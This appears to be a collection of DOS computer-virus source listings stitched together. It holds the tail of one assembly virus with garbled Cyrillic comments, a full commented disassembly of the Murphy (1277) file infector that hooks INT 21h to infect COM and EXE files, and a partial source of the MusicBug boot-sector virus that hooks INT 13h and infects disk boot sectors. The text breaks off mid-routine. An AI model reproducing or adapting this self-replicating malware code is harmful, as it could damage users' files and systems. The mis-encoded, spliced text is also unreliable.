add ax,ds:[06h] ; (FF95:0006=0C08Eh)
adc dx,0
sub ax,bx
sbb dx,cx
jc allright ; Jump if carry Set
sub ds:[06h],ax ; (FF95:0006=0C08Eh)
allright:
mov si,di ;
xor di,di ; ®²¬¥±²¢ ­¥ ±¯°¿¬® ±¥£¬¥­² 
push cs ; ³±² ­®¢¿¢ ­¥ ­ 
pop ds ; °¥£¨±²°¨²¥
sub si,offset kt1 - offset entry_point ; DS:SI
mov cx,vir_length ; ¨§·¨±«¿¢ ­¥ ° §¬¥° 
inc cx ; ­  ¢¨°³± 
rep movsb ; ¯°¥µ¢º°«¿­¥ ­  ¢¨°³± 
mov ah,62h
int 21h
dec bx
mov ds,bx
mov byte ptr ds:[0],5ah
mov dx,offset virus ; DX - ®²¬¥±²¢ ­¥ ­  ­®¢¨¿ ¢¥ª²®°
xor ax,ax
push ax
pop ds
mov ax,es
sub ax,10h
mov es,ax
cli
mov ds:[21h*4],dx
mov ds:[21h*4+2],es
sti
dec byte ptr ds:[47bh]
go_to_program: ;
pop si ; § °¥¦¤ ­¥ ­  SI ®² ±²¥ª 
cmp word ptr cs:[si-compbuff],'ZM'
jnz com_ret
exe_ret proc far
pop ds
mov ax,word ptr cs:[si-comp_code]
mov bx,word ptr cs:[si-compbuff1+2]
push cs
pop cx
sub cx,ax
add cx,bx
push cx
push word ptr cs:[si-compbuff1]
push ds
pop es
call zero_regs ; ­³«¨° ­¥ ­  °¥£¨±²°¨²¥
ret
exe_ret endp
com_ret:
pop ax
mov ax,cs:[si-compbuff] ;
mov cs:[100h],ax ; ¢º§±² ­®¢¿¢ ­¥
mov ax,cs:[si-compbuff+2] ; ®°¨£¨­ «­¨²¥
mov cs:[102h],ax ; ¨­±²°³ª¶¨¨
mov ax,100h ; ¯®£®²®¢ª  ­   ¤°¥± CS:100
push ax ;  ¤°¥± ­  ¢°º¹ ­¥ cs:ax
push cs ; ¢º§±² ­®¢¿¢ ­¥ ­ 
pop ds ; DS
push ds ; ¨
pop es ; ES
call zero_regs ; ­³«¨° ­¥ ­  °¥£¨±²°¨²¥
ret ; ¯°¥µ®¤ ¢ ­ · «®²® ­  ¯°®£° ¬ ² 
endpr: ; ª° © ­  ¯°®¶¥¤³° ² 
code ends ; ª° © ­  ¯°®£° ¬ ² 
end entry_point ; ¢µ®¤­  ²®·ª  ¯°¨ ±² °²¨° ­¥
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Ÿ­¨ ‹¾¡®¬¨°®¢ <20>° ­ª®¢ , Œ¨µ ©«®¢£° ¤ ³«."ƒ.„ ¬¿­®¢" 6
; , ²¥«.2-13-34
; ‹¾¡®¬¨° Œ ²¥¥¢ Œ ²¥¥¢ , ‘®´¨¿ ³«."<22>³¤ ¯¥¹ " 14
; , ²¥«.80-28-26
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß


View File

@ -0,0 +1,673 @@
L0100: JMP L08D0
MOV AH,09H
MOV DX,010CH
INT 21H
L010A: INT 20H
L010C: DB 'Murphy virus V1.00 (V1277)$'
DB 1961 DUP (1)
L08D0: JMP L0C51
NOP ; \
NOP ; \
NOP ; \
L08D6: MOV AH,09H ; \
MOV DX,010CH ; > ORIGINAL 24 BYTES
INT 21H ; /
L08DD: INT 20H ; /
; /
L08DF: DB 'Murphy virus' ; /
L08EB: DW 2 DUP(0000H)
MOV WORD PTR [DI],0040H ;DB 0C7H,25H,40H,00H
AND [BX+SI],AX ;DB 21H,00H
JNO L08F7 ;DB 71H,00H
L08F7: XOR AL,[BX+DI] ;DB 32H,01H
MOV CH,02H ;DB 0B5H,02H
TEST AL,0CH ;DB 0A8H,0CH
PUSH SI ;DB 56H
ADD AX,0AF9H ;DB 05H,0F9H,0AH
EXTRN L3BC8H_0001H:FAR
JMP L3BC8H_0001H ;DB 0EAH,01H,00H,0C8H,3BH
ADD CH,[BX+SI+200CH]
L090A: DB 'Hello, I'm Murphy. Nice to meet you friend. '
DB 'I'm written since Nov/Dec.'
DB ' Copywrite (c)1989 by Lubo & Ian, Sofia, USM Laboratory. '
; ******** INT21 DRIVER ********
CALL L0C1B ; SOUND SHOW
CMP AX,4B59H ; SPECIAL FUNCTION ?
JNE L099A
PUSH BP ; \
MOV BP,SP ; \
AND WORD PTR [BP+06H],-02H ; > FLAG C = 0
POP BP ; /
IRET ; /
L099A: CMP AH,4BH ; EXEC PROGRAM ?
JE L09B1
CMP AX,3D00H ; OPEN FILE ?
JE L09B1
CMP AX,6C00H ; OPEN FILE ( MS DOS v4.xx )
JNE L09AE
CMP BL,00H
JE L09B1
L09AE: JMP L0A56 ; NO. ORIGINAL INT21
L09B1: PUSH ES ; \
PUSH DS ; > SAVE REGISTERS
L09B3: DB 'WVURQSP' ; /
CALL L0B86 ; SET NEW INT24 & INT13
CMP AX,6C00H ; \
JNE L09C4 ; > MS DOS v4.xx NAME -> DS:SI
MOV DX,SI ; /
L09C4: MOV CX,0080H
MOV SI,DX ; \
L09C9: INC SI ; \
MOV AL,[SI] ; > SEARCH EXTENSION
OR AL,AL ; /
LOOPNZ L09C9 ; /
SUB SI,+02H
CMP WORD PTR [SI],4D4FH ; 'OM' ?
JE L09EB
CMP WORD PTR [SI],4558H ; 'XE' ?
JE L09E2
L09DF: JMP SHORT L0A4A
NOP
L09E2: CMP WORD PTR [SI-02H],452EH ; '.C' ?
JE L09F2
JMP SHORT L09DF
L09EB: CMP WORD PTR [SI-02H],432EH ; '.E' ?
JNE L09DF
L09F2: MOV AX,3D02H ; OPEN FILE
CALL L0B7F
JB L0A4A
MOV BX,AX
MOV AX,5700H ; GET DATE & TIME
CALL L0B7F
MOV CS:[0121H],CX ; SAVE DATE & TIME
MOV CS:[0123H],DX
MOV AX,4200H ; MOVE 'FP' TO BEGIN FILE ???
XOR CX,CX
XOR DX,DX
CALL L0B7F
PUSH CS ; MY SEGMENT
POP DS
MOV DX,0103H ; READ ORIGINAL 24 BYTES
MOV SI,DX
MOV CX,0018H
MOV AH,3FH
CALL L0B7F
JB L0A35
CMP WORD PTR [SI],5A4DH ; 'EXE' FILE ?
JNE L0A32
CALL L0A5B ; INFECT 'EXE' FILE
JMP SHORT L0A35
L0A32: CALL L0B2B ; INFECT 'COM' FILE
L0A35: MOV AX,5701H ; SET ORIGINAL DATE & TIME
MOV CX,CS:[0121H]
MOV DX,CS:[0123H]
CALL L0B7F
MOV AH,3EH ; CLOSE FILE
CALL L0B7F ; RESTORE INT13 & INT24
L0A4A: CALL L0BC3
L0A4D: DB 'X[YZ]^_' ; RESTORE REGISTERS
POP DS
POP ES
L0A56: JMP DWORD PTR CS:[0129H] ; ORIGINAL INT21
; ******** INFECT 'EXE' PROGRAM ********
L0A5B: MOV CX,[SI+16H] ; CS SEGMENT
ADD CX,[SI+08H] ; + HEADER SIZE
MOV AX,0010H ; PARA -> BYTES
MUL CX
ADD AX,[SI+14H] ; DX:AX = START FILE
ADC DX,+00H
PUSH DX ; SAVE START FILE OFFSET
PUSH AX
MOV AX,4202H ; MOVE FP TO END FILE
XOR CX,CX ; (GET FILE SIZE)
XOR DX,DX
CALL L0B7F
CMP DX,+00H ; SIZE < 1277 ???
JNE L0A88
CMP AX,04FDH
NOP
JNB L0A88
POP AX ; QUIT
POP DX
JMP L0B0D
L0A88: MOV DI,AX ; SAVE FILE SIZE
MOV BP,DX
POP CX ; CALC CODE SIZE
SUB AX,CX
POP CX
SBB DX,CX
CMP WORD PTR [SI+0CH],+00H ; HIGH FILE ?
JE L0B0D
CMP DX,+00H ; CODE SIZE = 1277
JNE L0AA3
CMP AX,04FDH
NOP
JE L0B0D
L0AA3: MOV DX,BP ; FILE SIZE
MOV AX,DI
PUSH DX ; SAVE FILE SIZE
PUSH AX
ADD AX,04FDH ; CALC NEW FILE SIZE
NOP
ADC DX,+00H
MOV CX,0200H ; CALC FILE SIZE FOR HEADER
DIV CX
LES DI,DWORD PTR [SI+02H] ; SAVE OLD CODE SIZE
MOV CS:[0125H],DI
MOV CS:[0127H],ES
MOV [SI+02H],DX ; SAVE NEW CODE SIZE
CMP DX,+00H
JE L0ACB
INC AX
L0ACB: MOV [SI+04H],AX
POP AX ; RESTORE ORIGINAL FILE SIZE
POP DX
CALL L0B0E ; ???
SUB AX,[SI+08H]
LES DI,DWORD PTR [SI+14H] ; SAVE OLD CS:IP
MOV DS:[011BH],DI
MOV DS:[011DH],ES
MOV [SI+14H],DX ; SET NEW CS:IP
MOV [SI+16H],AX
MOV WORD PTR DS:[011FH],AX ; SAVE OFFSET
MOV AX,4202H ; MOVE FP TO END FILE
XOR CX,CX
XOR DX,DX
CALL L0B7F
CALL L0B1F ; WRITE CODE
JB L0B0D
MOV AX,4200H ; MOVE FP TO BEGIN FILE
XOR CX,CX
XOR DX,DX
CALL L0B7F
MOV AH,40H ; WRITE HEADER
MOV DX,SI
MOV CX,0018H
CALL L0B7F
L0B0D: RET
L0B0E: MOV CX,0004H ; ???
MOV DI,AX
AND DI,+0FH
L0B16: SHR DX,1
RCR AX,1
LOOP L0B16
MOV DX,DI
RET
L0B1F: MOV AH,40H ; WRITE VIRUS CODE
MOV CX,04FDH ; SIZE = 1277
NOP
MOV DX,0100H
JMP SHORT L0B7F
NOP
; ******** INFECT 'COM' PROGRAM ********
L0B2B: MOV AX,4202H ; MOVE FP TO END FILE
XOR CX,CX
XOR DX,DX
CALL L0B7F
CMP AX,04FDH ; FILE SIZE < 1277 ?
NOP
JB L0B7E
CMP AX,0FAE2H ; FILE SIZE > 64226
NOP
JNB L0B7E
PUSH AX ; SAVE SIZE
CMP BYTE PTR [SI],0E9H ; 'JUMP' CODE ?
JNE L0B53
SUB AX,0500H ; CALC OFFSET FOR VIRUS
NOP
CMP AX,[SI+01H] ; FILE IS INFECTET ?
JNE L0B53
POP AX
JMP SHORT L0B7E
L0B53: CALL L0B1F ; WRITE VIRUS CODE
JNB L0B5B
POP AX ; ERROR
JMP SHORT L0B7E
L0B5B: MOV AX,4200H ; MOVE FP TO BEGIN FILE
XOR CX,CX
XOR DX,DX
CALL L0B7F
POP AX ; CALC OFFSET FOR JUMP
SUB AX,0003H
MOV DX,011BH ; DATA ARREA
MOV SI,DX
MOV BYTE PTR CS:[SI],0E9H ; SAVE JUMP CODE TO ARREA
MOV CS:[SI+01H],AX
MOV AH,40H ; WRITE FIRST 3 BYTES
MOV CX,0003H
CALL L0B7F
L0B7E: RET
; ******** VIRUS INT21 ********
L0B7F: PUSHF
CALL DWORD PTR CS:[0129H]
RET
; ******** SET NEW INT24 & INT13 ********
L0B86: PUSH AX ; SAVE REGISTERS
PUSH DS
PUSH ES
XOR AX,AX ; SEGMENT AT VECTOR TABLE
PUSH AX
POP DS
CLI
LES AX,DWORD PTR DS:[0090H] ; \
MOV WORD PTR CS:[012DH],AX ; > GET ADDRES INT24
MOV CS:[012FH],ES ; /
MOV AX,0418H ; \
MOV WORD PTR DS:[0090H],AX ; > SET NEW INT24
MOV DS:[0092H],CS ; /
LES AX,DWORD PTR DS:[004CH] ; \
MOV WORD PTR CS:[0135H],AX ; > GET ADDRES INT13
MOV CS:[0137H],ES ; /
LES AX,DWORD PTR CS:[0131H] ; \
MOV WORD PTR DS:[004CH],AX ; > SET NEW INT13
MOV DS:[004EH],ES ; /
STI
POP ES ; RESTORE REGISTERS
POP DS
POP AX
RET
; ******** RESTORE INT24 & INT13 ********
L0BC3: PUSH AX
PUSH DS
PUSH ES
XOR AX,AX
PUSH AX
POP DS
CLI
LES AX,DWORD PTR CS:[012DH] ; \
MOV WORD PTR DS:[0090H],AX ; > RESTORE INT24
MOV DS:[0092H],ES ; /
LES AX,DWORD PTR CS:[0135H] ; \
MOV WORD PTR DS:[004CH],AX ; > RESTORE INT13
MOV DS:[004EH],ES ; /
STI
POP ES
POP DS
POP AX
RET
; ******** INT13 DRIVER ********
L0BE8: TEST AH,80H ; HARD DISK ?
JE L0BF2
JMP DWORD PTR CS:[012DH] ; YES.
L0BF2: ADD SP,+06H ; POP REGISTERS
L0BF5: DB 'X[YZ^_]'
POP DS
POP ES
PUSH BP
MOV BP,SP
OR WORD PTR [BP+06H],+01H ; FLAG C=1
POP BP
IRET
; ******** SOUOND DRIVER *********
L0C07: MOV AL,0B6H
OUT 43H,AL
MOV AX,0064H
OUT 42H,AL
MOV AL,AH
OUT 42H,AL
IN AL,61H
OR AL,03H
OUT 61H,AL
RET
; ******** SHOW DRIVER ********
L0C1B: PUSH AX ; SAVE REGISTERS
PUSH CX
PUSH DX
PUSH DS
XOR AX,AX ; DOS ARREA SEGMENT
PUSH AX
POP DS
MOV AX,WORD PTR DS:[046CH] ; GET TIME
MOV DX,DS:[046EH]
MOV CX,0FFFFH ; DIVIDE BY 65535
DIV CX ; 1 HOUR - 65535 TICKS
CMP AX,000AH ; TEN HOUR ?
JNE L0C37
CALL L0C07 ; SHOW
L0C37: POP DS ; RESTORE REGISTERS
POP DX
POP CX
POP AX
RET
L0C3C: MOV DX,0010H ; DX:AX = AX * 16
MUL DX
RET
; CLEAR REGISTERS ????
L0C42: XOR AX,AX
XOR BX,BX
XOR CX,CX
XOR DX,DX
XOR SI,SI
XOR DI,DI
XOR BP,BP
RET
L0C51: PUSH DS
CALL L0C55 ; PUSH ADDRES
L0C55: MOV AX,4B59H ; I'M IN MEMORY ?
INT 21H
L0C5A: JB L0C5F ; NO. INSERT CODE
JMP L0D87 ; START FILE
L0C5F: POP SI ; POP MY ADDRESS
PUSH SI
MOV DI,SI
XOR AX,AX ; DS = VECTOR TABLE SEGMENT
PUSH AX
POP DS
LES AX,DWORD PTR DS:[004CH] ; GET INT13 ADDRESS
MOV CS:[SI+0FCACH],AX
MOV CS:[SI+0FCAEH],ES
LES BX,DWORD PTR DS:[0084H] ; GET INT21 ADDRESS
MOV CS:[DI+0FCA4H],BX
MOV CS:[DI+0FCA6H],ES
MOV AX,WORD PTR DS:[0102H] ; SEGMENT OF INT40
CMP AX,0F000H ; IN ROM BIOS ?
JNE L0CF4 ; NO. NOT HARD DISK IN SYSTEM
MOV DL,80H
MOV AX,WORD PTR DS:[0106H] ; SEGMENT OF INT41
CMP AX,0F000H ; ROM BIOS ?
JE L0CB1
CMP AH,0C8H ; < ROM EXTERNAL ARREA
JB L0CF4
CMP AH,0F4H ; > ROM EXTERNAL ARREA
JNB L0CF4
TEST AL,7FH
JNE L0CF4
MOV DS,AX
CMP WORD PTR DS:[0000H],0AA55H ; BEGIN ROM MODUL ?
JNE L0CF4
MOV DL,DS:[0002H] ; SCANING FOR ORIGINAL INT13
L0CB1: MOV DS,AX ; ADDRESS
XOR DH,DH
MOV CL,09H
SHL DX,CL
MOV CX,DX
XOR SI,SI
L0CBD: LODSW
CMP AX,0FA80H
JNE L0CCB
LODSW
CMP AX,7380H
JE L0CD6
JNE L0CE0
L0CCB: CMP AX,0C2F6H
JNE L0CE2
LODSW
CMP AX,7580H
JNE L0CE0
L0CD6: INC SI
LODSW
CMP AX,40CDH
JE L0CE7
SUB SI,+03H
L0CE0: DEC SI
DEC SI
L0CE2: DEC SI
LOOP L0CBD
JMP SHORT L0CF4
L0CE7: SUB SI,+07H
MOV CS:[DI+0FCACH],SI
MOV CS:[DI+0FCAEH],DS
L0CF4: MOV AH,62H ; TAKE 'PSP' SEGMENT
INT 21H
L0CF8: MOV ES,BX ; FREE MY BLOCK
MOV AH,49H
INT 21H
L0CFE: MOV BX,0FFFFH ; GET BLOCK SIZE
MOV AH,48H
INT 21H
L0D05: SUB BX,0051H ; FREE SPACE ?
JB L0D87
MOV CX,ES ; CALC NEW BLOCK SIZE
STC
ADC CX,BX
MOV AH,4AH ; SET NEW SIZE
INT 21H
L0D14: MOV BX,0050H
NOP
STC
SBB ES:[0002H],BX
PUSH ES
MOV ES,CX
MOV AH,4AH
INT 21H
L0D25: MOV AX,ES
DEC AX
MOV DS,AX
MOV WORD PTR DS:[0001H],0008H
CALL L0C3C
MOV BX,AX
MOV CX,DX
POP DS
MOV AX,DS
CALL L0C3C
ADD AX,DS:[0006H]
ADC DX,+00H
SUB AX,BX
SBB DX,CX
JB L0D4E
SUB DS:[0006H],AX
L0D4E: MOV SI,DI
XOR DI,DI
PUSH CS
POP DS
SUB SI,0385H
MOV CX,04FDH
NOP
INC CX
REPZ MOVSB
MOV AH,62H
INT 21H
L0D63: DEC BX
MOV DS,BX
MOV BYTE PTR DS:[0000H],5AH
MOV DX,01B9H
XOR AX,AX
PUSH AX
POP DS
MOV AX,ES
SUB AX,0010H
MOV ES,AX
CLI
MOV DS:[0084H],DX
MOV DS:[0086H],ES
STI
DEC BYTE PTR DS:[047BH]
L0D87: POP SI
CMP WORD PTR CS:[SI+0FC7EH],5A4DH
JNE L0DAE
POP DS
MOV AX,CS:[SI+0FC9AH]
MOV BX,CS:[SI+0FC98H]
PUSH CS
POP CX
SUB CX,AX
ADD CX,BX
PUSH CX
PUSH WORD PTR CS:[SI+0FC96H]
PUSH DS
POP ES
CALL L0C42
RETF
L0DAE: POP AX
MOV AX,CS:[SI+0FC7EH]
MOV WORD PTR CS:[0100H],AX
MOV AX,CS:[SI+0FC80H]
MOV WORD PTR CS:[0102H],AX
MOV AX,0100H
PUSH AX
PUSH CS
POP DS
PUSH DS
POP ES
CALL L0C42
RET
L0DCD: DW 0000H

View File

@ -0,0 +1,890 @@
; --------------------------------------------------------------------------
; Virus Mbug Sourced by Roman_S (c) jan 1992
; --------------------------------------------------------------------------
; Ulozenie BOOT Sect 7, Head 0, stopa 9 (360 Kb)
; Virus Sec 8,9 Hed 0, stopa 9
; Sec 0 Head 1, stopa 9
; Po preklade TASM vznika original !!!
; --------------------------------------------------------------------------
NOSMART
data_1e equ 230h
data_2e equ 6Ch
data_3e equ 0Dh
data_4e equ 0Eh
data_5e equ 11h
data_6e equ 13h
data_7e equ 15h
data_8e equ 16h
data_9e equ 18h
data_10e equ 1Ah
ram_top equ 413h ;Vrchol RAM
buffer_boot equ 0dd1h
mbug segment byte public
assume cs:mbug, ds:mbug
org 100h
start: cli ;Disable interrupts
jmp run_virus
B_name db 'IBM 3.3'
B_bytes_sect dw 200h
B_clust_size db 2
B_reserved dw 1
B_count_fat db 2
B_root_size dw 70h
B_total_sect dw 2D0h
B_media_desc db 0FDh
B_fat_size dw 2
B_track_sect dw 9
B_head_cnt dw 2
dw 0
db 6 dup (0)
db 0Fh, 0, 0, 0, 0, 1
db 0, 0, 0, 0, 0, 12h
db 0, 0, 0, 0, 1, 0
db 0FAh, 33h, 0C0h, 8Eh, 0D0h, 0BCh
db 0, 7Ch, 16h, 7
chcksum dw 4F3Fh ;Kontrolny sucet casti vira
drive_head dw 0 ;Ulozenie virusu na disku
stopa_sect dw 907h
pocet_hlav db 2
sect_inc_track db 0Ah
pom_ax dw 200h
pom_bx dw 8A00h
pom_cx dw 905h
pom_dx dw 100h
db 0B6h, 0D9h, 0A1h, 49h, 0A6h, 55h
db 0A6h, 0ECh, 0A7h, 0CCh, 0A5h, 53h
db 0A6h, 6Eh, 0A1h, 41h, 0A7h, 0DAh
db 0ACh, 4Fh, 0A4h, 40h, 0B0h, 0A6h
db 0B5h, 0BDh, 0A8h, 7Dh, 0AAh, 0BAh
db 0A4h, 70h, 0AFh, 66h, 0ACh, 72h
db 0A1h, 41h, 0A7h, 0DAh, 0A4h, 0A3h
db 0B7h, 7Ch, 0AFh, 7Dh, 0C3h, 61h
db 0B1h, 7Ah, 0BAh, 0CFh, 0A4h, 0F9h
db 0A4h, 57h, 0AAh, 0BAh, 0A5h, 0F4h
db 0A6h, 0F3h, 0B8h, 0EAh, 0AEh, 0C6h
db 0A1h, 41h, 0A5h, 75h, 0B0h, 0B8h
db 0A6h, 0D3h, 27h, 0A7h, 0ECh, 0A8h
db 67h, 27h, 0A4h, 40h, 0A4h, 55h
db 0A1h, 41h, 0A5h, 0D1h, 0A9h, 0F3h
db 0B5h, 4Ch, 0ACh, 72h, 0A5h, 42h
db 0B9h, 0EFh, 0BEh, 0F7h, 0C5h, 0E9h
db 0B5h, 4Ch, 0AEh, 60h, 0B7h, 71h
db 0BDh, 0D0h, 0A6h, 77h, 0A4h, 0DFh
db 0A8h, 0CFh, 0A5h, 0CEh, 0A1h, 43h
db 0C1h, 0C2h, 0C1h, 0C2h, 0A1h, 49h
db 0A1h
db 49h
; -------------------------------------------------------------------------
run_virus: mov ax,cs ;Set registers & stack
mov ds,ax
mov es,ax
mov ss,ax
mov sp,0F000h
sti ;Enable interrupts
call test_chcksum
mov ax,ds:[B_track_sect+7c00h-100h]
inc al
mov ds:[sect_inc_track+7c00h-100h],al
mov ax,ds:[B_head_cnt+7c00h-100h]
mov ds:[pocet_hlav+7c00h-100h],al
mov dx,ds:[drive_head+7c00h-100h]
mov cx,ds:[stopa_sect+7c00h-100h]
call next_sect1 ;Posun CX,DX na dalsi
mov ax,207h ;Read 7 sectors
mov bx,7E00h ;Buffer
call read_vir2 ;Citaj druhu cast virusu
jnc read_ok
int 18h ;ROM basic
read_ok: mov ax,ds:ram_top ;Memory TOP
sub ax,4 ;Reserved 4 Kb
mov ds:ram_top,ax ;Set new value
mov cl,6 ;Convert to segment addres
shl ax,cl
mov es,ax ;Set ES to nex segment memory
mov si,7C00h ;Zaciatok virusu
xor di,di ;Na zaciatok memory bloku
mov cx,800h
cld
rep movsw ;Copy virus to MEM TOP
push es
mov ax,200h ;Push far Continue
push ax
retf ;Jmp to Continue
; --------------------------------------------------------------------------
; Nacitanie zvysnych sektorov virusu
; Vstupuje AH - command BX - adresa pre data
; AL - pocet sektorov
; --------------------------------------------------------------------------
read_vir2: push ax ;Backup registers
push bx
push cx
push dx
mov cs:[pom_ax+7c00h-100h],ax
mov cs:[pom_bx+7c00h-100h],bx
mov cs:[pom_cx+7c00h-100h],cx
mov cs:[pom_dx+7c00h-100h],dx
dalsi: mov cx,4 ;Count for error
read_again: push cx ;Backup
mov ah,byte ptr cs:[pom_ax+7c00h-100h+1] ;Command
mov al,1 ;1 sect
mov bx,cs:[pom_bx+7c00h-100h]
mov cx,cs:[pom_cx+7c00h-100h]
mov dx,cs:[pom_dx+7c00h-100h]
int 13h ;Read 1 sector to BX
pop cx ;Restore counter error
jnc read_ok1
xor ah,ah
int 13h ;Reset disk
loop read_again ;Dalsi pokus
stc ;Nepodarilo sa
jmp short return
read_ok1: dec byte ptr cs:[pom_ax+7c00h-100h] ;Zmensi pocet sektorov
cmp byte ptr cs:[pom_ax+7c00h-100h],0 ;Toto bol posledny ?
je return
mov cx,cs:[pom_cx+7c00h-100h]
mov dx,cs:[pom_dx+7c00h-100h]
call next_sect1 ;Posun na dalsi sect
mov cs:[pom_cx+7c00h-100h],cx
mov cs:[pom_dx+7c00h-100h],dx
mov bx,cs:[pom_bx+7c00h-100h] ;Buffer
add bx,200h ;Posun sa o 1 sector
mov cs:[pom_bx+7c00h-100h],bx
jmp short dalsi ;Citaj dalsi sektor
return: pop dx ;Restore registers
pop cx
pop bx
pop ax
retn
; ---------------------------------------------------------------------------
; Rutina posunie CX,DX na dalsi sektor
; ---------------------------------------------------------------------------
next_sect1: push ax
inc cl ;Next sector
mov al,cl
and al,3Fh
cmp al,cs:[sect_inc_track+7c00h-100h] ;Prekroceny posledny?
jb next_ok ;Jump if no
and cl,0C0h ;Znuluj ho
inc cl ;Nastav 1 a daj dalsiu hlavu
inc dh
cmp dh,cs:[pocet_hlav+7c00h-100h] ;Posledna hlava ?
jb next_ok ;Jump if no
xor dh,dh ;Nastav prvu hlavu
add ch,1 ;Posun na dalsiu stopu
jnc next_ok
add cl,40h
jnc next_ok
or cl,0C0h
next_ok: pop ax
retn
;--------------------------------------------------------------------------
; Prevedie kontrolnu sumu casti virusu a ak nesedi premaze pamat
;--------------------------------------------------------------------------
test_chcksum: mov si,7C50h
mov cx,7CD0h
sub cx,si
xor ah,ah
xor dx,dx ;Suma = 0
cld
add_next: lodsb
add dx,ax ;Suma = Suma + AX
loop add_next
cmp dx,ds:[chcksum+7c00h-100h]
je chcksum_ok
xor ax,ax ;Chyba -> Clear RAM 0-8000h
mov es,ax
xor di,di
mov cx,8000h
kill_next: stosw
loop kill_next
chcksum_ok: retn
db 15 dup (0)
db 55h,0AAh ;Flag end sector BOOT
; ----------------------------------------------------------------------------
; Pokracovanie virusu cez RETF (Dalsie sektory)
; ----------------------------------------------------------------------------
continute_line: jmp short continue_lin
db 3, 0, 0Ah, 0, 8, 4
db 0, 0, 20h, 0FFh, 0Ah, 0
db 1, 0
db 'MusicBug v1.06. MacroSoft Corp. '
old_13: dw 0A189h,0F000h ;Povodny INT 13h
db 0
continue_lin: xor ax,ax ;Set AX,DS,ES = 0
mov ds,ax
mov es,ax
mov cx,4 ;Set error counter
again_origin: push cx ;Backup
mov ax,201h ;Read 1 sector
mov bx,7C00h ;To original BOOT
mov cx,cs:[stopa_sect-100h] ;Ulozenie povodneho BOOTu
mov dx,cs:[drive_head-100h]
int 13h ;Read original BOOT sector
pop cx ;Restore
jnc old_boot_ok
xor ah,ah
int 13h ;Reset disk
loop again_origin
int 18h ;ROM basic
old_boot_ok: call redef_13
mov cx,cs:[year-100h] ;Vyber cas nakazenia
mov dh,cs:[month-100h]
call year2month ;Preved na mesiace
mov cs:[pom_months-100h],ax
mov byte ptr cs:[flag_action-100h],0 ;Znuluj akciu
nop
mov ah,4
int 1Ah ;Read date cx=year, dx=mon/day
or dx,dx ;Je tam CMOS ?
jz no_cmos
call year2month ;Preved na mesiace
sub ax,4 ;Pridaj 4 mesiace
cmp ax,cs:[pom_months-100h] ;Uz ubehli od nakazenia ?
jb no_cmos
inc cs:[flag_action-100h] ;Ano nastav flag action
no_cmos: push es
mov ax,7C00h ;Push 0000:7C00
push ax
retf ;Jump far to original BOOT
; ------------------------------------------------------------------------
; New interrupt 13h - DISK I/O
; ------------------------------------------------------------------------
new_13: sti ;Enable
pushf ;Backup registers
push es
push ds
push di
push si
push ax
push bx
push cx
push dx
call timeout ;Testuj casovu prodlevu
jc ret_from_13 ;Ochod ak neuplynula 1 sec.
cmp dl,2 ;Disk A:, B: ?
jb disk_ok ;Jump if YES
cmp dl,80h ;Hardisk C: ?
jne read_boot_err ;Jump if no
disk_ok: mov si,cs ;Disk A: B: or C:
mov ds,si
mov es,si ;Set DS,ES to my segment
mov cs:[drive_number-100h],dl ;Backup drive
call read_boot ;Nacitaj boot sektor
jc read_boot_err
call sub_1
jmp short ret_from_13
read_boot_err: cmp byte ptr cs:[flag_action-100h],1 ;Ideme vyhravat ?
jne ret_from_13
call sound ;Zacvrlikaj
ret_from_13: pop dx ;Restore registers
pop cx
pop bx
pop ax
pop si
pop di
pop ds
pop es
popf
jmp dword ptr cs:[230h]
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_1: call sub_2
mov al,cs:data_54 ; (727D:0DE6=0F6h)
cmp al,0FDh
je loc_6
cmp al,0F9h
je loc_6
cmp al,0F8h
jne loc_ret_8
call sub_4
jnc loc_7
retn
loc_6: call sub_3
jc loc_ret_8
loc_7: call sub_6
loc_ret_8: retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_2: mov ax,cs:data_55 ; (727D:0DE7=0F6F6h)
mov cs:7b7h,ax ; (727D:07B7=75AAh)
xor bh,bh ; Zero register
mov bl,cs:data_51 ; (727D:0DE1=0F6h)
mul bx ; dx:ax = reg * ax
add ax,cs:data_50 ; (727D:0DDF=0F6F6h)
mov bx,cs:data_52 ; (727D:0DE2=0F6F6h)
shr bx,1 ; Shift w/zeros fill
shr bx,1 ; Shift w/zeros fill
shr bx,1 ; Shift w/zeros fill
shr bx,1 ; Shift w/zeros fill
add ax,bx
mov cs:7b5h,ax ; (727D:07B5=550Fh)
mov al,cs:data_56 ; (727D:0DE9=0F6h)
inc al
mov cs:7beh,al ; (727D:07BE=0Dh)
mov bl,cs:data_57 ; (727D:0DEB=0F6h)
mov cs:7bfh,bl ; (727D:07BF=0)
dec al
mul bl ; ax = reg * al
mov cs:7b3h,ax ; (727D:07B3=0CF3Eh)
retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_3: mov byte ptr cs:7c8h,0 ; (727D:07C8=3Bh)
nop
mov byte ptr cs:7c9h,0 ; (727D:07C9=6)
nop
loc_9: mov ah,2
mov al,byte ptr cs:7b7h ; (727D:07B7=0AAh)
cmp al,3
jbe loc_10 ; Jump if below or =
dec word ptr cs:7b7h ; (727D:07B7=75AAh)
dec word ptr cs:7b7h ; (727D:07B7=75AAh)
dec word ptr cs:7b7h ; (727D:07B7=75AAh)
mov al,3
jmp short loc_12 ; (047F)
loc_10: or al,al ; Zero ?
jnz loc_11 ; Jump if not zero
jmp loc_19 ; (0551)
loc_11: mov byte ptr cs:7c8h,1 ; (727D:07C8=3Bh)
nop
loc_12: mov cs:7ceh,al ; (727D:07CE=0F8h)
lea bx,cs:[7D1h] ; Load effective addr
mov cl,cs:7c9h ; (727D:07C9=6)
shl cl,1 ; Shift w/zeros fill
add cl,cs:7c9h ; (727D:07C9=6)
inc cl
inc cl
mov cs:7cch,cl ; (727D:07CC=74h)
xor ch,ch ; Zero register
xor dh,dh ; Zero register
mov dl,cs:7cah ; (727D:07CA=40h)
call read_write
jnc loc_13 ; Jump if carry=0
jmp loc_ret_20 ; (0552)
loc_13:
mov ax,200h
xor dh,dh ; Zero register
mov dl,cs:7ceh ; (727D:07CE=0F8h)
mul dx ; dx:ax = reg * ax
sub ax,6
mov cs:7bch,ax ; (727D:07BC=0DC3Eh)
xor bx,bx ; Zero register
loc_14:
cmp bx,cs:7bch ; (727D:07BC=0DC3Eh)
ja loc_16 ; Jump if above
